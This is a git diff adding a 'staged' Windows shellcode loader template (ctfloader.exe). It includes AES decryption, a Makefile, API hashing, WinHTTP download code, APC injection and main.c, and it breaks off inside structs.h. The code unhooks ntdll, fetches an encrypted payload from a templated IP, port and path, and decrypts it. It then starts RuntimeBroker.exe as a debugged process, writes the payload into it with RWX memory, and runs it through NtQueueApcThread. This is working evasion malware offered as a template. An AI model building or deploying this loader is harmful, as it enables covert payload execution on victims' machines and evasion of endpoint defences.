= GETU32(in_data + 12) ^ ctx->roundkey[3]; + + temp[0] = GETU32(in_data + 0); + temp[1] = GETU32(in_data + 4); + temp[2] = GETU32(in_data + 8); + temp[3] = GETU32(in_data + 12); + + // round 1 + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7]; + // round 2 + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11]; + // round 3 + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15]; + // round 4 + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19]; + // round 5 + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23]; + // round 6 + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27]; + // round 7 + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31]; + // round 8 + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35]; + // round 9 + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39]; + + // Final round 10 + s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; + s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; + s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; + s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; + + // Map the decrypted state to a byte array block + PUTU32(out_data + 0, s0 ^ ctx->iv[0]); + PUTU32(out_data + 4, s1 ^ ctx->iv[1]); + PUTU32(out_data + 8, s2 ^ ctx->iv[2]); + PUTU32(out_data + 12, s3 ^ ctx->iv[3]); + + ctx->iv[0] = temp[0]; + ctx->iv[1] = temp[1]; + ctx->iv[2] = temp[2]; + ctx->iv[3] = temp[3]; +} + +void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) { + // Ensure the input length is a multiple of AES_BLOCK_SIZE + if (length % AES_BLOCK_SIZE != 0) { + printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE); + return; + } + + // Process each block + for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) { + AES_Decrypt(ctx, in_data + i, out_data + i); + } +} + +#endif diff --git a/templates/staged/Makefile b/templates/staged/Makefile new file mode 100644 index 0000000..c859f27 --- /dev/null +++ b/templates/staged/Makefile @@ -0,0 +1,65 @@ +############################################################################### +# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux +# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING +############################################################################### + +# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang" +CLANG := C:\msys64\mingw64\bin\clang + +# Compile flags for C source +CFLAGS := -static -O0 -Wall -w + +LDFLAGS := -Wl,--disable-auto-import -s + +# Libraries needed: +LIBS := -lwinhttp -lntdll + +# NASM flags +ASFLAGS := -f win64 # produce 64-bit COFF objects + +# List all your C source files here: +C_SRCS := \ + api_hashing.c \ + download.c \ + inject.c \ + main.c \ + unhook.c \ + whispers.c + +# Corresponding .o object files +C_OBJS := $(C_SRCS:.c=.o) + +# Assembly source and its object +ASM_SRC := whispers-asm.x64.asm +ASM_OBJ := whispers-asm.o + +# Final executable name +TARGET := ctfloader.exe + +############################################################################### +# Default rule: build the final .exe +############################################################################### +all: $(TARGET) + +# Link rule: combine all object files into final .exe +$(TARGET): $(C_OBJS) $(ASM_OBJ) + $(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS) + +############################################################################### +# Compile each .c -> .o +############################################################################### +%.o: %.c + $(CLANG) $(CFLAGS) -c $< -o $@ + +############################################################################### +# Assemble NASM .asm -> .o +############################################################################### +$(ASM_OBJ): $(ASM_SRC) + nasm $(ASFLAGS) $< -o $@ + +############################################################################### +# Housekeeping +############################################################################### +.PHONY: clean +clean: + rm -f *.o *.obj $(TARGET) diff --git a/templates/staged/api_hashing.c b/templates/staged/api_hashing.c new file mode 100644 index 0000000..dd00b48 --- /dev/null +++ b/templates/staged/api_hashing.c @@ -0,0 +1,103 @@ +/* + + Authors: @ MaldevAcademy - https://maldevacademy.com + +*/ +#include +#include + +#include "structs.h" +#include "functions.h" + +DWORD HashStringDjb2A(PCHAR String) +{ + ULONG Hash = INITIAL_HASH; + INT c; + + while (c = *String++) + Hash = ((Hash << INITIAL_SEED) + Hash) + c; + + return Hash; +} + +FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) { + + if (hModule == NULL || dwApiNameHash == NULL) + return NULL; + + PBYTE pBase = (PBYTE)hModule; + + PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; + if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); + if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; + + PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + + PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); + PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); + PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { + CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); + PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); + + // Hashing every function name pFunctionName + // If both hashes are equal then we found the function we want + if (dwApiNameHash == HASHA(pFunctionName)) { + return pFunctionAddress; + } + } + + return NULL; +} + +HMODULE GetModuleHandleH(DWORD dwModuleNameHash) { + + if (dwModuleNameHash == NULL) + return NULL; + +#ifdef _WIN64 + PPEB pPeb = (PEB*)(__readgsqword(0x60)); +#elif _WIN32 + PPEB pPeb = (PEB*)(__readfsdword(0x30)); +#endif + + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); + + while (pDte) { + + if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) { + + // converting `FullDllName.Buffer` to upper case string + CHAR UpperCaseDllName[MAX_PATH]; + + DWORD i = 0; + while (pDte->FullDllName.Buffer[i]) { + UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]); + i++; + } + UpperCaseDllName[i] = '\0'; + + // hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash` + if (HASHA(UpperCaseDllName) == dwModuleNameHash) + return pDte->Reserved2[0]; + + } + else { + break; + } + + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } + + return NULL; +} + diff --git a/templates/staged/download.c b/templates/staged/download.c new file mode 100644 index 0000000..7793431 --- /dev/null +++ b/templates/staged/download.c @@ -0,0 +1,140 @@ +/* + + Author: @ B0lg0r0v (Arthur Minasyan) + +*/ +#include +#include +#include + +#include "functions.h" + +#pragma comment(lib, "winhttp.lib") + +#define IP L"#-IP_VALUE-#" // Changable +#define PORT #-PORT_VALUE-# // Changable +#define PATH L"#-PATH_VALUE-#" // Changable + + +BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) { + + LPCWSTR path = PATH; + DWORD dwSize = 0, + dwTotalSize = 0, + dwDownloaded = 0; + LPSTR pszOutBuffer = NULL; + BOOL bState = FALSE; + HINTERNET hSession = NULL, + hConnect = NULL, + hRequest = NULL; + + // First opening an internet session + hSession = WinHttpOpen( + L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536", + WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0 + ); + + // Checking if it was successfull + if (hSession == NULL) { + + printf("[-] Internet session could not be initialized.\n"); + goto _CleanUp; + } + + // Defining the target server with the earlier defined session + hConnect = WinHttpConnect(hSession, IP, PORT, 0); + + // Checking if its ok + if (hConnect == NULL) { + + printf("[-] Could not connect to the target server: %d\n", GetLastError()); + goto _CleanUp; + } + + // Creating the HTTP request + hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE); + + // Checking again + if (hRequest == NULL) { + + printf("[-] Failed to create the request: %d\n", GetLastError()); + goto _CleanUp; + } + + // Firing the request !! + if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { + + printf("[-] Failed to send the request: %d\n", GetLastError()); + goto _CleanUp; + } + + // Wait for the response + if (!WinHttpReceiveResponse(hRequest, 0)) { + + printf("[-] Failed to receive the response: %d", GetLastError()); + goto _CleanUp; + } + + do { + + // Checking for available data + dwSize = 0; + + if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { + + printf("[-] Error checking the amount of data: %d", GetLastError()); + goto _CleanUp; + } + + // Allocating the space to gather the data + LPSTR tempBuffer = realloc(pszOutBuffer, dwTotalSize + dwSize + 1); + + if (!tempBuffer) { + + printf("[-] Out of memory: %d", GetLastError()); + goto _CleanUp; + + } + else { + + pszOutBuffer = tempBuffer; + + } + + // Reading the data + if (!WinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwTotalSize), dwSize, &dwDownloaded)) { + + printf("[-] Error reading the data: %d", GetLastError()); + goto _CleanUp; + + } + + dwTotalSize += dwDownloaded; + + + } while (dwSize > 0); + + // Saving the content into the "return variables" + *pPayload = pszOutBuffer; + *sSizeOfPayload = dwTotalSize; + pszOutBuffer = NULL; + bState = TRUE; + + +_CleanUp: + if (pszOutBuffer) + free(pszOutBuffer); + if (hRequest) + WinHttpCloseHandle(hRequest); + if (hConnect) + WinHttpCloseHandle(hConnect); + if (hSession) + WinHttpCloseHandle(hSession); + + return bState; +} + + diff --git a/templates/staged/functions.h b/templates/staged/functions.h new file mode 100644 index 0000000..61ad5a0 --- /dev/null +++ b/templates/staged/functions.h @@ -0,0 +1,19 @@ +#pragma once +#include + +// API Hashing Part +#define HASHA(API) (HashStringDjb2A((PCHAR) API)) +#define INITIAL_HASH #-INITIAL_HASH_VALUE-# +#define INITIAL_SEED #-INITIAL_SEED_VALUE-# + +BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload); +BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread); +BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); +HMODULE GetModuleHandleH(DWORD dwModuleNameHash); +FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash); + +BOOL Unhook(LPVOID module); +LPVOID MapNtdll(); + +typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation); +typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId); \ No newline at end of file diff --git a/templates/staged/inject.c b/templates/staged/inject.c new file mode 100644 index 0000000..07f631d --- /dev/null +++ b/templates/staged/inject.c @@ -0,0 +1,100 @@ +#include +#include +#include + +#include "functions.h" +#include "whispers.h" + +BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) { + + CHAR lpPath[MAX_PATH * 2]; + CHAR WnDr[MAX_PATH]; + + STARTUPINFO Si = { 0 }; + PROCESS_INFORMATION Pi = { 0 }; + + // Cleaning the structs by setting the element values to 0 + RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO)); + RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); + + // Setting the size of the structure + Si.cb = sizeof(STARTUPINFO); + + // Getting the %WINDIR% environment variable path (That is generally 'C:\Windows') + if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) { + //printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError()); + return FALSE; + } + + // Creating the target process path + sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName); + + // API Hashing + cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#); + + Sleep(15000); + if(!cCPAu( + NULL, + lpPath, + NULL, + NULL, + FALSE, + DEBUG_PROCESS, // Instead of CREATE_SUSPENDED + NULL, + NULL, + &Si, + &Pi)) { + + return FALSE; + } + + + // Filling up the OUTPUT parameter with CreateProcessA's output + *dwProcessId = Pi.dwProcessId; + *hProcess = Pi.hProcess; + *hThread = Pi.hThread; + + Sleep(5000); + // Doing a check to verify we got everything we need + if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL) + return TRUE; + + return FALSE; +} + +BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { + + SIZE_T sNumberOfBytesWritten = 0, + sSize = sSizeOfShellcode; + ULONG uOldProtection = 0; + NTSTATUS STATUS = 0x00; + + if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) { + + printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); + return FALSE; + } + + //printf("[i] Allocated Memory At : 0x%p \n", *ppAddress); + + if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) { + + printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); + return FALSE; + } + + printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten); + + + Sleep(2500); + if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { + + printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); + return FALSE; + } + + printf("[+] Successfully changed memory region permission to RWX!\n"); + + return TRUE; + +} \ No newline at end of file diff --git a/templates/staged/main.c b/templates/staged/main.c new file mode 100644 index 0000000..be7897e --- /dev/null +++ b/templates/staged/main.c @@ -0,0 +1,104 @@ +#include +#include + +#include "whispers.h" +#include "functions.h" +#include "AES_128_CBC.h" + +#define TARGET_PROCESS "RuntimeBroker.exe" + + +uint8_t aes_k[16] = { #-KEY_VALUE-# }; +uint8_t aes_i[16] = { #-IV_VALUE-# }; + + +int main() { + + PBYTE pEncPayload = NULL; + SIZE_T sEncPayload = 0; + + PVOID pClearText = NULL, + pProcess = NULL; + DWORD dwSizeOfClearText = 0, + dwOldProtect = 0, + dwProcessId = 0; + AES_CTX ctx; + + HANDLE hThread = NULL, + hProcess = NULL; + + NTSTATUS STATUS = 0x00; + + + printf("[+] Un-hooking Ntdll \n"); + LPVOID nt = MapNtdll(); + if (!nt) + return -1; + + if (!Unhook(nt)) + return -1; + + Sleep(500); + if (!GetContent(&pEncPayload, &sEncPayload)) { + + printf("[-] Failed to get the data!\n"); + return -1; + } + + printf("[+] PID: %d\n", GetCurrentProcessId()); + printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload); + + // Decryption routine + printf("[i] Starting the decryption...\n"); + + Sleep(500); + // Allocating memory to store the decrypted payload inside of pClearText + pClearText = (PBYTE)malloc(sEncPayload); + AES_DecryptInit(&ctx, aes_k, aes_i); + AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload); + + printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); + + Sleep(1500); + printf("[i] Creating suspended process..\n"); + // Creating a suspeneded process now + if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { + + printf("[-] Failed to create suspended process!\n"); + return -1; + } + printf("[+] Process created with PID: %d\n", dwProcessId); + + Sleep(2500); + printf("[i] Injecting the shellcode into the process..\n"); + // Doing the APC Injection + if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { + + return -1; + } + + Sleep(1500); + printf("[i] Running the shellcode via NtQueueApcThread..\n"); + // Running the thread via QueueAPCThread + if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { + + printf("[-] NtQueueApcThrad failed!\n"); + return -1; + } + + // API Hashing + cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); + + printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); + + Sleep(1000); + // Stopping the debugging of the process, which launches the payload + cDAPSu(dwProcessId); + printf("[+] Payload executed!\n"); + + CloseHandle(hThread); + CloseHandle(hProcess); + free(pClearText); + + return 0; +} \ No newline at end of file diff --git a/templates/staged/structs.h b/templates/staged/structs.h new file mode 100644 index 0000000..fc0f531 --- /dev/null +++ b/templates/staged/structs.h @@ -0,0 +1,282 @@ +#pragma once + +#include +#include "whispers.h" + +typedef PVOID PACTIVATION_CONTEXT; +typedef PVOID PRTL_USER_PROCESS_PARAMETERS; +typedef PVOID PAPI_SET_NAMESPACE; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + PVOID Reserved3; + UNICODE_STRING FullDllName; + BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + }; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PSLIST_HEADER AtlThunkSListPtr; + PVOID IFEOKey; + + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ProcessImagesHotPatched : 1; // REDSTONE5 + ULONG ReservedBits0 : 24; + }; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved; + ULONG AtlThunkSListPtr32; + PAPI_SET_NAMESPACE ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; // HotpatchInformation + PVOID* ReadOnlyStaticServerData; + + PVOID AnsiCodePageData; // PCPTABLEINFO + PVOID OemCodePageData; // PCPTABLEINFO + PVOID UnicodeCaseTableData; // PNLSTABLEINFO + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + ULARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID* ProcessHeaps; // PHEAP + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + KAFFINITY ActiveProcessAffinityMask; + ULONG GdiHandleBuffer[60]; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + + SIZE_T MinimumStackCommit; + + PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) + PVOID PatchLoaderData; + PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO + + ULONG AppModelFeatureState; + ULONG SpareUlongs[2]; + + USHORT ActiveCodePage; + USHORT OemCodePage; + USHORT UseCaseMapping; + USHORT UnusedNlsField; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + + union + { + PVOID pContextData; // WIN7 + PVOID pUnused; // WIN10 + PVOID EcCodeBitMap; // WIN11 + }; + + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG 